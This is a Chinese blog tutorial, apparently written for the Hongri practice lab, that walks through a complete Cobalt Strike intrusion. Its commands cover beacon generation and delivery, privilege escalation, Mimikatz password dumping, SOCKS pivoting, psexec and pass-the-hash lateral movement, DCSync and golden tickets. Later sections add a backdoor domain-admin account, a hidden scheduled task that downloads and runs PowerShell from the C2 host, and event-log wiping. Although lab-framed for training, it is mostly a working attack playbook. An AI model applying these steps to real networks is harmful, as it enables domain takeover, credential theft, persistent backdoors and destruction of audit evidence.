2026-10-01
top10漏洞常见基础讲解
00
请注意,本文编写于 44 天前,最后修改于 44 天前,其中某些信息可能已经过时。

目录

零、概念
一、环境准备与启动
1.1 靶场网络拓扑(确认你的环境)
1.2 启动 Team Server(C2 服务端)
1.3 启动 Client(客户端)
二、创建第一个 Listener(监听器)
三、生成 Payload 让 Win7 上线
3.1 生成 Windows 可执行文件
3.2 把 Payload 传到 Win7 并执行
3.3 Beacon 上线!
四、Beacon 控制台——你的"遥控器"
4.1 最基础的命令
第一类:Beacon 内置命令(直接输,不用加前缀)
第二类:Windows 系统命令(必须加 shell)
4.2 图形化快捷操作(右键菜单)
五、权限提升:从普通用户到 SYSTEM
5.1 右键提权
5.2 验证提权结果
六、抓密码:Mimikatz 一键出明文
6.1 一键抓取
6.2 查看已保存的凭据
七、内网信息收集:摸清域内家底
7.1 确认双网卡(内网入口)
7.2 查看域内主机
7.3 端口扫描(图形化)
存活主机(ARP 扫描结果)
端口开放情况(TCP 扫描结果)—— 关键信息解读
🎯 域控 192.168.52.138(你的首要目标)
💻 域成员 192.168.52.141(Win2003 老机器)
🖥️ 当前 Win7 192.168.52.143(你自己的跳板)
八、开隧道:让 Kali 能进内网
8.1 开启 SOCKS 代理
8.2 配置 proxychains
8.3 测试隧道
九、横向移动:psexec 拿下域控
这里有至少2种方法,一种是走我们之前的445 SMB,还可以用kali直接登录
9.1 先制作令牌(让 CS 记住你的凭证)
9.2 psexec 横向移动到域控(Win2008)
9.3 横向移动到域成员(Win2003)
9.4 哈希传递(Pass-the-Hash)
9.5 或者使用kail
使用 Impacket 工具集
十、进域控后还能干什么
10.1 再抓一次密码
10.2 导出域内所有 Hash(DCSync)
10.3 生成黄金票据(Golden Ticket)
10.4 开启 RDP 远程桌面
十一、维持权限 & 清理痕迹
11.1 添加域管理员用户(后门)
11.2 新建 Beacon 持久化
11.3 清理事件日志
11.4 删除上传的文件
附录:CS 与 MSF 联动(进阶)
MSF 侧监听
CS 侧创建 Foreign Listener
迁移会话
完整流程速查表

CS使用,这里借用红日靶场操作CS


信息收集 → 漏洞利用 → 权限提升 → 权限维持 ↓ 痕迹清理 ← 跨域攻击 ← 内网渗透 ← 内网代理

零、概念

CS(Cobalt Strike)不是普通的木马工具,它是一个完整的 C2(Command & Control)框架。在红日靶场里,它的角色相当于你的"指挥中心"。

概念一句话解释在红日靶场里对应什么
Team ServerCS 的服务端,所有被控机器都回连到这里跑在 Kali 上的 C2 服务器
ClientCS 的客户端,你操作的地方你看到的图形化界面
Listener监听器,告诉 Beacon"回连到哪个地址、哪个端口"类似"WiFi 路由器",Beacon 连上来
BeaconCS 的专属后门程序,会定期"回家报到"Win7 上运行的 beacon.exe
Session一台上线的主机就是一个 SessionWin7、Win2008 上线后显示的会话
SleepBeacon 多久回连一次 C2默认 60 秒,靶场里可以调 1 秒
Staged分段加载,先传小马,再下载大马windows/beacon_http/reverse_http
Stageless一体式,直接传完整的大马windows/beacon_http/reverse_http(s)

一、环境准备与启动

1.1 靶场网络拓扑(确认你的环境)

主机角色IP 地址
Kali攻击机 + CS Team Server192.168.22.x(外网)
Win7Web 跳板机(双网卡)192.168.22.148(外网)/ 192.168.52.143(内网)
Win2008域控(DC)192.168.52.138
Win2003域成员192.168.52.141

IP 可能和我不一样,后面操作的时候换成你自己的 IP。

1.2 启动 Team Server(C2 服务端)

在 Kali 终端执行:

bash
cd ~/cobaltstrike chmod +x teamserver ./teamserver 192.168.22.147 123456

图片.png

图片.png 参数说明:

  • 192.168.22.147:Kali 的外网 IP(Beacon 要连这个 IP)
  • 123456:连接密码(Client 连上来要用)

启动成功后,终端会显示一个 SHA256 hash,这是 SSL 证书指纹,客户端连接时会验证,防止中间人攻击。

1.3 启动 Client(客户端)

再开一个 Kali 终端:

bash
cd ~/cobaltstrike chmod +x cobaltstrike ./cobaltstrike

这里我直接在windows跑的

图片.png

连接配置:

  • Host:192.168.22.147
  • Port:50050(默认)
  • User:随便填,比如 operator1
  • Password:123456

点击 Connect,弹出指纹确认框,对比 SHA256 和 Team Server 输出的是否一致,点 Yes。


二、创建第一个 Listener(监听器)

Listener 是 CS 的核心,没有它,Beacon 就不知道回连到哪里。

操作路径:菜单栏 Cobalt Strike → Listeners(或点工具栏的耳机图标)

在 Listeners 面板下方点击 Add:

参数填写说明
Namehttp_beacon随便起,自己认得就行
PayloadBeacon HTTP走 HTTP 协议回连
HTTP Hosts点 + → 填 192.168.22.147Team Server 的 IP
HTTP Port80监听端口,80 不容易被防火墙拦

图片.png 点击 Save。此时 CS 在 Kali 上起了个 HTTP 服务,监听 80 端口,等 Beacon 来敲门。


三、生成 Payload 让 Win7 上线

3.1 生成 Windows 可执行文件

操作路径:Payloads → Windows Stageless Payload

选择刚才创建的 http_beacon Listener,点击 Generate,保存为 beacon.exe。

图片.png

3.2 把 Payload 传到 Win7 并执行

你之前已经通过 phpMyAdmin 日志写 shell 拿到了蚁剑/VShell 的 Webshell。现在把 beacon.exe 传上去:

  1. 在蚁剑/VShell 的文件管理里,把 beacon.exe 上传到 C:\Windows\Temp\
  2. 在虚拟终端执行:
    cmd
    cd C:\Windows\Temp beacon.exe

也可以用 CS 的 Script Web Delivery(Cobalt Strike → Script Web Delivery),生成一条 PowerShell 命令,直接在蚁剑终端里执行,Win7 会自动下载并运行 Beacon。

图片.png

3.3 Beacon 上线!

回到 CS 客户端,你会看到:

  • 底部出现一个新的 Session(电脑图标)
  • 图标是灰色的:Beacon 在"睡觉"(Sleep 间隔),等一会儿就变绿
  • 图标是绿色的:当前正在回连,可以交互

右键这个 Session → Interact,打开 Beacon 控制台。这就是发命令的地方。

图片.png


四、Beacon 控制台——你的"遥控器"

Beacon 控制台是所有操作的入口。提示符是 beacon>。

4.1 最基础的命令

第一类:Beacon 内置命令(直接输,不用加前缀)

命令作用
getuid查看当前用户
pwd查看当前目录
cd切换目录
ls列出文件
upload上传文件
download下载文件
sleep设置回连间隔
exit退出 Beacon

第二类:Windows 系统命令(必须加 shell)

错误 ❌正确 ✅
whoamishell whoami
ipconfigshell ipconfig
net usershell net user
systeminfoshell systeminfo
tasklistshell tasklist

还有一些

net view # 查看局域网内其他主机名 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台) ———————————————— 版权声明:本文为CSDN博主「火白学安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/mc11451419198/article/details/150070176

提示

这里如果你觉得beacon执行命令要等半天是因为sleep间隔,这样可以隐匿流量特征,但是这里我们就直接beacon> sleep 0即可

图片.png

图片.png

4.2 图形化快捷操作(右键菜单)

右键 Beacon Session,这些功能最常用:

菜单项作用什么时候用
Interact打开命令控制台每次都要用
File Browser图形化文件管理上传下载文件
Process List查看进程,可注入/迁移找高权限进程
Screenshot屏幕截图看对方在干什么
Desktop (VNC)远程桌面控制可视化操作
SOCKS Server开启 socks 代理进内网必须开
Port Scan内网端口扫描找内网其他主机
Elevate一键提权拿到 shell 后第一步
Run Mimikatz运行 mimikatz抓密码
LogonPasswords直接抓取登录凭据最常用,一键出密码
Make Token制作凭证令牌横向移动前用
Jump → psexec横向移动拿下其他主机

插入:这里其实有个进程隐藏

图片.png

这里图形界面直接inject就可以,然后kill掉,命令行可以使用

beacon> inject [目标PID] [监听器名称] [技术选项]

图片.png

然后我们使用新的就好了,这里增加隐蔽性 图片.png

五、权限提升:从普通用户到 SYSTEM

红日靶场 Win7 有很多提权漏洞,CS 可以一键搞定。

判断当前权限,或者可以使用getuid 图片.png

Administrator = 当前是管理员权限

Administrator * = 管理员,且是高完整性(可以提权)

NT AUTHORITY\SYSTEM = 系统最高权限,不需要再提权

或者 在 Windows 的 强制完整性控制(MIC) 机制中,**SID 的最后一段数字(12288)**直接对应权限等级。对应关系如下:

完整性级别SID 后缀说明
低 (Low)4096例如 IE/Edge 保护模式、Chrome 沙箱进程
中 (Medium)8192标准用户权限(非管理员运行的程序)
高 (High)12288管理员权限(以管理员身份运行)
系统 (System)16384系统内核或 SYSTEM 账户进程

输出中明确包含:

GOD\Domain Admins GOD\Enterprise Admins

这表示当前登录的用户不仅是本地管理员(BUILTIN\Administrators),还是域管理员和企业管理员。这意味着你拥有整个域的最高控制权,权限等级绝对是“高”。

5.1 右键提权

https://blog.csdn.net/q20010619/article/details/121733533 这篇文章写的全面

提权操作 在 CS 中有以下几种提权操作: bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win 7 及以上的系统 elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的 Win 7 和 Win 10 系统 getsystem:将本地高级管理员权限提升至系统权限 runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出 spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程

这里因为我们本来就是高权限,直接getsystem提权到system既可 图片.png

这里介绍的针对于提权漏洞的提权方法

右键 Beacon → Elevate(或 Access → Elevate)

CS 的提权方式(导入):

提权方式适用场景红日靶场 Win7 能用吗
ms14-058Windows 7/8/2008 提权✅ 能用,最稳
ms15-051Windows 7/8/10 提权✅ 能用
ms16-016Windows 7/8 提权✅ 能用
uac-token-duplication绕过 UAC✅ 如果当前是管理员但 UAC 高

选择 ms14-058,Listener 选 http_beacon,点击 Launch。

如果成功,你会看到一个新的 SYSTEM 权限 Beacon Session 上线!

5.2 验证提权结果

右键新的 Session → Interact:

bash
beacon> whoami # 输出:nt authority\system beacon> getuid # 输出:SYSTEM

六、抓密码:Mimikatz 一键出明文

6.1 一键抓取

右键 SYSTEM 权限的 Beacon → Access → LogonPasswords

或者在控制台直接输入:

bash
beacon> logonpasswords

CS 会自动调用内置的 Mimikatz,输出结果类似:

图片.png

Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : Administrator Domain : GOD Logon Server : OWA msv : * Username : Administrator * Domain : GOD * NTLM : 42f2e5f6a7b8c9d0e1f2a3b4c5d6e7f8 wdigest : * Username : Administrator * Domain : GOD * Password : Admin123! <-- 明文密码!

6.2 查看已保存的凭据

点击菜单栏 View → Credentials,CS 会把所有抓到的密码整理成一个表格:

图片.png


七、内网信息收集:摸清域内家底

7.1 确认双网卡(内网入口)

bash
beacon>shell ipconfig

红日靶场 Win7 会有两个网卡:

  • 外网:192.168.22.143
  • 内网:192.168.52.143 ← 这就是内网入口

7.2 查看域内主机

bash
beacon> net view # 输出: # \\OWA 域控制器 # \\ROOT-TVI862UBEH 域成员 # \\STU1 (当前主机)

图片.png

7.3 端口扫描(图形化)

右键 Beacon → Explore → Port Scan

输入目标网段:192.168.52.0/24

CS 会扫描内网所有存活主机和开放端口。结果在 View → Targets 里显示。

图片.png

存活主机(ARP 扫描结果)

通过 ARP 扫描,你精准锁定了内网 192.168.52.x 段里有 3 台活着的机器:

  • 192.168.52.143(MAC: 00-0C-29-7F-03-0A)—— 这就是你当前的 Win7 跳板机(主机名 STU1)。
  • 192.168.52.138(MAC: 00-0C-29-0B-B6-04)—— 这是域控(DC)(主机名 OWA,操作系统 6.1 = Windows Server 2008 R2)。
  • 192.168.52.141(MAC: 00-0C-29-C9-E9-41)—— 这是另一台域成员(主机名 ROOT-TVI862UBEH,操作系统 5.2 = Windows Server 2003)。

端口开放情况(TCP 扫描结果)—— 关键信息解读

🎯 域控 192.168.52.138(你的首要目标)

扫到的端口:53(DNS), 80(HTTP), 88(Kerberos), 135(RPC), 139(NetBIOS), 389(LDAP), 445(SMB), 464(Kerberos改密), 593(RPC), 636(LDAPS)

  • 结论:这完全是一台标准域控的“证件照”。尤其是 445 端口开放,意味着你可以直接用 psexec 远程执行命令。
💻 域成员 192.168.52.141(Win2003 老机器)

扫到的端口:21(FTP), 135, 139, 445, 777(未知)

  • 亮点 1:21 端口(FTP) 开着,且 Banner 显示 Microsoft FTP Service。这是潜在突破口(可以试试匿名登录或弱口令)。
  • 亮点 2:777 端口 极其可疑(非标准端口),通常是 Webshell 后门、内网代理(如 ReGeorg)或某某管理工具留下的,值得上去看一眼。
  • 注意:操作系统是 5.2(Win2003),非常老旧,可能存在大量未打补丁的漏洞。
🖥️ 当前 Win7 192.168.52.143(你自己的跳板)

扫到的端口:80, 135, 139, 445

  • 中规中矩,80 端口就是之前拿 Webshell 的地方。

八、开隧道:让 Kali 能进内网

这是 CS 最方便的功能——自动路由。Win7 有两张网卡,CS 可以把它变成"路由器",让 Kali 的流量通过 Win7 进入内网。

8.1 开启 SOCKS 代理

右键 Win7 的 Beacon → Pivoting → SOCKS Server

设置端口:1080,点击 Launch。

CS 会在 Kali 上开启一个 SOCKS5 代理:127.0.0.1:1080

图片.png

8.2 配置 proxychains

编辑 Kali 的 /etc/proxychains.conf,在最后一行添加:

socks5 127.0.0.1 1080

这里需要把那个socks4删除掉,否则默认连得是那个好像 图片.png

8.3 测试隧道

bash
proxychains nmap -sT -Pn 192.168.52.138

图片.png 如果能扫到域控的端口,说明隧道通了!后面所有内网操作都走这个代理。


九、横向移动:psexec 拿下域控

这里有至少2种方法,一种是走我们之前的445 SMB,还可以用kali直接登录

现在你有:

  • 域管理员账号:GOD\Administrator
  • 密码:Admin123!
  • NTLM Hash:42f2e5f6a7b8c9d0e1f2a3b4c5d6e7f8
  • 内网隧道(SOCKS 代理)

9.1 先制作令牌(让 CS 记住你的凭证)

右键 Win7 的 Beacon → Access → Make Token

填入:

  • User:GOD\Administrator
  • Password:Admin123!

点击 Create。这会生成一个访问令牌,后面 psexec 会用到。

图片.png

9.2 psexec 横向移动到域控(Win2008)

在 View → Targets 里找到 192.168.52.138,右键 → Login → psexec

图片.png

图片.png 或者右键 Beacon → Jump → psexec:

参数填写
Target192.168.52.138
Listener选 http_beacon(或新建一个 SMB Beacon)
Session当前 Win7 的 Session
Credentials选刚才抓到的 GOD\Administrator

点击 Launch。

如果成功,你会看到一个新的 Beacon 上线,权限是 SYSTEM,主机是域控

但是这里肯定是失败的,因为不在同一个网段,需要借助445

新建一个smb监听器

图片.png

按照刚才的步骤走 图片.png

成功上线 图片.png

9.3 横向移动到域成员(Win2003)

同样方法,目标填 192.168.52.141。

9.4 哈希传递(Pass-the-Hash)

如果只有 Hash 没有明文密码,右键 → Jump → psexec (PSH),选择 Use Hash:

Username: GOD\Administrator Hash: 42f2e5f6a7b8c9d0e1f2a3b4c5d6e7f8

这样不需要明文密码也能横向移动。

9.5 或者使用kail

使用 Impacket 工具集

Impacket 是一套强大的Python协议工具,其中的 psexec.py、wmiexec.py 等是横向移动的利器。

  • 1. 获取交互式 Shell 使用 psexec.py 可以直接获取一个半交互式的CMD shell。

    bash

    proxychains impacket-psexec GOD/Administrator:hongrisec@2026@192.168.52.138

    如果使用哈希传递,命令格式为:

    bash

    proxychains impacket-psexec -hashes :<NTLM_HASH> GOD/Administrator@192.168.52.138
  • 2. 执行单条命令 使用 wmiexec.py 可以执行单条命令并获取回显,适合自动化操作。

    bash

    proxychains impacket-wmiexec GOD/Administrator:hongrisec@2026@192.168.52.138 "whoami"
  • 3. 上传文件 可以在获取Shell后,通过lput命令上传文件。

    proxychains impacket-psexec GOD/Administrator:hongrisec@2026@192.168.52.138 # 进入shell后执行 lput /path/to/your/payload.exe C:\\Windows\\Temp\\payload.exe

图片.png


十、进域控后还能干什么

10.1 再抓一次密码

右键域控 Beacon → Access → LogonPasswords

域控上可能抓到更多域用户的密码,包括 krbtgt(金钥匙)。

10.2 导出域内所有 Hash(DCSync)

bash
beacon> dcsync GOD.ORG Administrator beacon> dcsync GOD.ORG krbtgt

10.3 生成黄金票据(Golden Ticket)

如果拿到了 krbtgt 的 Hash,右键域控 Beacon → Access → Golden Ticket,可以生成黄金票据,永久控制整个域。

10.4 开启 RDP 远程桌面

bash
beacon> shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f beacon> shell netsh advfirewall firewall set rule group="remote desktop" new enable=yes

然后 Kali 上连接:

bash
proxychains rdesktop 192.168.52.138 -u GOD\Administrator -p Admin123!

十一、维持权限 & 清理痕迹

11.1 添加域管理员用户(后门)

在域控的 Beacon 里:

bash
beacon> shell net user hacker P@ssw0rd! /add /domain beacon> shell net group "domain admins" hacker /add /domain

11.2 新建 Beacon 持久化

Cobalt Strike → Script Web Delivery,生成新的 PowerShell 命令,写入域控的计划任务:

bash
beacon> shell schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://192.168.22.147:80/b')" /sc onlogon /ru system

11.3 清理事件日志

右键每个主机的 Beacon → 执行命令:

bash
beacon> shell wevtutil cl Security beacon> shell wevtutil cl System beacon> shell wevtutil cl Application

11.4 删除上传的文件

bash
beacon> shell del C:\Windows\Temp\beacon.exe beacon> shell del C:\Windows\Temp\*.log

附录:CS 与 MSF 联动(进阶)

有时候你想用 MSF 的某些模块,但已经有 CS 的会话了,可以把它"借"给 MSF。

MSF 侧监听

bash
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.22.147 set lport 4444 exploit

CS 侧创建 Foreign Listener

Cobalt Strike → Listeners → Add:

  • Payload:Foreign HTTP
  • Host:192.168.22.147
  • Port:4444

迁移会话

右键 Win7 的 Beacon → Spawn,选择刚才的 Foreign HTTP Listener。

MSF 里就会收到一个 Meterpreter 会话!

之后可以在 MSF 里建路由、开 socks:

bash
meterpreter > run post/multi/manage/autoroute meterpreter > background msf6 > use auxiliary/server/socks_proxy msf6 > set SRVPORT 1080 msf6 > run

这样其他工具也能通过 CS→MSF 的通道进入内网。


完整流程速查表

步骤操作点哪里 / 输什么
1. 启动 C2./teamserver IP 密码Kali 终端
2. 连接 C2./cobaltstrike填 IP、Port、密码
3. 建 ListenerCobalt Strike → Listeners → Add选 Beacon HTTP
4. 生成 PayloadPayloads → Windows Stageless选 Listener,保存 exe
5. 投递执行蚁剑上传 + 终端执行beacon.exe
6. 上线确认看 Session 图标灰色=睡觉,绿色=在线
7. 提权右键 → Elevate选 ms14-058
8. 抓密码右键 → LogonPasswords或输 logonpasswords
9. 看凭据View → Credentials记下明文密码和 Hash
10. 扫内网右键 → Port Scan填 192.168.52.0/24
11. 开隧道右键 → SOCKS Server端口 1080
12. 做令牌右键 → Make Token填域管账号密码
13. 横向移动View → Targets 右键 → psexec选目标 IP + SMB Listener
14. 控制域控重复抓密码、DCSyncdcsync GOD.ORG krbtgt
15. 清痕迹shell wevtutil cl Security每台主机都清